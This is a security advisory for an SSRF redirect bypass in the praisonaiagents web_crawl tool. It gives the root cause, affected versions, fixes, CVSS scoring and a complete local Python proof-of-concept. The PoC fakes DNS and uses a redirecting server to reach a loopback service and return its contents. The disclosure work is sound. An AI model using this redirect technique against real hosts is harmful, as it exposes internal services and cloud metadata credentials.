Skip to content

praisonaiagents has a `web_crawl` SSRF protection bypass via unchecked redirect targets

High severity GitHub Reviewed Published Jun 13, 2026 in MervinPraison/PraisonAI • Updated Aug 25, 2026

Package

pip praisonaiagents (pip)

Affected versions

>= 1.5.128, < 1.6.58

Patched versions

1.6.58

Description

Summary

praisonaiagents.tools.web_crawl_tools.web_crawl() validates the initial URL and blocks direct loopback/private destinations by default, but the default httpx fallback still uses httpx.Client(follow_redirects=True) and does not revalidate redirect targets.

An attacker-controlled public URL can pass the initial host check, redirect to loopback/private/cloud metadata infrastructure, and have the redirected response body returned by web_crawl().

This appears to be an incomplete fix / patch bypass for the published web_crawl SSRF class (GHSA-qq9r-63f6-v542 / CVE-2026-40160, and GHSA-8f4v-xfm9-3244).

Affected Component

Package:

praisonaiagents

File:

src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py

Functions:

web_crawl()
_crawl_with_httpx()

Affected Versions

Validated affected:

  • praisonaiagents 1.5.128 via repository tag v4.5.128;
  • praisonaiagents 1.6.40 via repository tag v4.6.40;
  • praisonaiagents 1.6.56 via repository tag v4.6.56;
  • current origin/main commit 095653d78a01cc6c80ff5b2dd20a8e5619686ddc.

Suggested affected range for maintainer confirmation:

>= 1.5.128, <= 1.6.56

No patched version is known to me at submission time.

Root Cause

Current web_crawl() validates only the initially supplied URL:

  • requires http or https;
  • resolves the initial hostname with socket.gethostbyname();
  • rejects loopback/private/link-local/multicast/unspecified addresses unless ALLOW_LOCAL_CRAWL=true.

The default fetch sink then follows redirects:

with httpx.Client(follow_redirects=True, timeout=30.0) as client:
    response = client.get(url)

There is no validation of intermediate or final redirect destinations before httpx fetches them. The URL that passes the guard is therefore not necessarily the URL ultimately requested by the server.

Local Reproduction

The PoV is local-only. It starts a loopback redirector and a loopback internal service. It monkeypatches DNS in-process so attacker.test appears public to the initial guard while the actual test request routes to the local redirector. This avoids contacting any third-party infrastructure while demonstrating the same root cause.

Run from a checkout of the repository:

env PYTHONPATH=src/praisonai-agents uv run --with httpx poc_web_crawl_redirect_ssrf.py

Observed output:

DIRECT_CONTROL: {'error': 'No valid or safe URLs provided. Local and non-http(s) URLs are blocked for security.'}
REDIRECT_RESULT: {'url': 'http://attacker.test:<port>/go', 'content': 'INTERNAL-SECRET-FROM-LOOPBACK', 'title': '', 'provider': 'httpx'}
REDIRECT_SERVER_HIT: True
INTERNAL_SERVER_HIT: True
PRAI-CAND-001 CONFIRMED: web_crawl follows a redirect to loopback

The direct control proves direct loopback is blocked by the intended SSRF guard. The redirect case proves the same blocked destination class is reachable after the initial safe-looking URL redirects.

With the same setup but with redirect following disabled, the redirector was hit, but the internal loopback service was not hit:

REDIRECT_HIT: True
INTERNAL_HIT: False

Impact

If an attacker can influence URLs passed to web_crawl(), directly or through an agent/tool workflow, they can cause the PraisonAI host to fetch loopback, private-network, or cloud metadata endpoints reachable from that host. The response body is returned in the web_crawl() result.

Practical impact includes:

  • reading loopback-only HTTP services;
  • probing private network services;
  • reading cloud metadata endpoints where reachable and not otherwise protected.

This report does not claim RCE, authentication bypass, or live cloud credential theft without a deployment-specific metadata test.

Severity

This mirrors the CVSS v4.0 shape already used for the prior web_crawl SSRF class while accounting for prompt/tool invocation as the attack prerequisite and user interaction. A CVSS v3.1 scoring may reasonably be lower if modeled strictly around user interaction, but the root issue is a server-side network boundary bypass that returns internal response content.

Suggested Fix

  • Set follow_redirects=False in _crawl_with_httpx(), or handle redirects manually and validate each Location target before following it.
  • Centralize the URL validation used by server-side fetch tools.
  • Validate every resolved address using socket.getaddrinfo(), not only the first gethostbyname() result.
  • Reject loopback, private, link-local, reserved, multicast, unspecified, and cloud metadata destinations.
  • Add regression tests for direct loopback, public-to-loopback redirect, and allowed public-to-public redirects if redirect support remains intended.

PoV

#!/usr/bin/env python3
"""Local PoV for PraisonAI web_crawl redirect-target SSRF bypass.

This PoV uses only loopback servers. It monkeypatches DNS in-process so the initial attacker host looks public to PraisonAI's pre-request guard, while the HTTP request is routed to a local redirect server. The redirect target is a loopback-only internal service. The vulnerable behavior is that web_crawl() validates the initial URL but follows the redirect to loopback without revalidating the Location target.
"""

from __future__ import annotations

import http.server
import os
import socket
import socketserver
import threading
from typing import Any

from praisonaiagents.tools.web_crawl_tools import web_crawl


class InternalHandler(http.server.BaseHTTPRequestHandler):
    body = b"INTERNAL-SECRET-FROM-LOOPBACK"

    def do_GET(self) -> None:  # noqa: N802
        self.server.hit = True  # type: ignore[attr-defined]
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(self.body)))
        self.end_headers()
        self.wfile.write(self.body)

    def log_message(self, *_args: Any) -> None:
        return


class RedirectHandler(http.server.BaseHTTPRequestHandler):
    target = ""

    def do_GET(self) -> None:  # noqa: N802
        self.server.hit = True  # type: ignore[attr-defined]
        self.send_response(302)
        self.send_header("Location", self.target)
        self.end_headers()

    def log_message(self, *_args: Any) -> None:
        return


def main() -> int:
    os.environ.pop("ALLOW_LOCAL_CRAWL", None)

    internal = socketserver.TCPServer(("127.0.0.1", 0), InternalHandler)
    internal.hit = False  # type: ignore[attr-defined]
    internal_port = internal.server_address[1]

    RedirectHandler.target = f"http://127.0.0.1:{internal_port}/secret"
    redirect = socketserver.TCPServer(("127.0.0.1", 0), RedirectHandler)
    redirect.hit = False  # type: ignore[attr-defined]
    redirect_port = redirect.server_address[1]

    threading.Thread(target=internal.serve_forever, daemon=True).start()
    threading.Thread(target=redirect.serve_forever, daemon=True).start()

    original_gethostbyname = socket.gethostbyname
    original_getaddrinfo = socket.getaddrinfo

    def fake_gethostbyname(host: str) -> str:
        if host == "attacker.test":
            return "93.184.216.34"
        return original_gethostbyname(host)

    def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):
        if host == "attacker.test":
            return original_getaddrinfo("127.0.0.1", port, *args, **kwargs)
        return original_getaddrinfo(host, port, *args, **kwargs)

    socket.gethostbyname = fake_gethostbyname
    socket.getaddrinfo = fake_getaddrinfo
    try:
        direct_control = web_crawl(
            f"http://127.0.0.1:{internal_port}/secret",
            provider="httpx",
        )
        redirect_result = web_crawl(
            f"http://attacker.test:{redirect_port}/go",
            provider="httpx",
        )
    finally:
        socket.gethostbyname = original_gethostbyname
        socket.getaddrinfo = original_getaddrinfo
        redirect.shutdown()
        internal.shutdown()
        redirect.server_close()
        internal.server_close()

    print("DIRECT_CONTROL:", direct_control)
    print("REDIRECT_RESULT:", redirect_result)
    print("REDIRECT_SERVER_HIT:", bool(redirect.hit))  # type: ignore[attr-defined]
    print("INTERNAL_SERVER_HIT:", bool(internal.hit))  # type: ignore[attr-defined]

    if not isinstance(direct_control, dict) or "No valid or safe URLs" not in str(direct_control):
        raise SystemExit("control failed: direct loopback was not blocked")
    if not isinstance(redirect_result, dict):
        raise SystemExit("bypass failed: unexpected result type")
    if "INTERNAL-SECRET-FROM-LOOPBACK" not in str(redirect_result.get("content", "")):
        raise SystemExit("bypass failed: redirect target content was not returned")
    if not bool(redirect.hit) or not bool(internal.hit):  # type: ignore[attr-defined]
        raise SystemExit("bypass failed: expected local servers were not hit")

    print("PRAI-CAND-001 CONFIRMED: web_crawl follows a redirect to loopback")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

References

@MervinPraison MervinPraison published to MervinPraison/PraisonAI Jun 13, 2026
Published by the National Vulnerability Database Aug 5, 2026
Published to the GitHub Advisory Database Aug 25, 2026
Reviewed Aug 25, 2026
Last updated Aug 25, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(29th percentile)

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-55523

GHSA ID

GHSA-8hjw-25cg-g52h

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.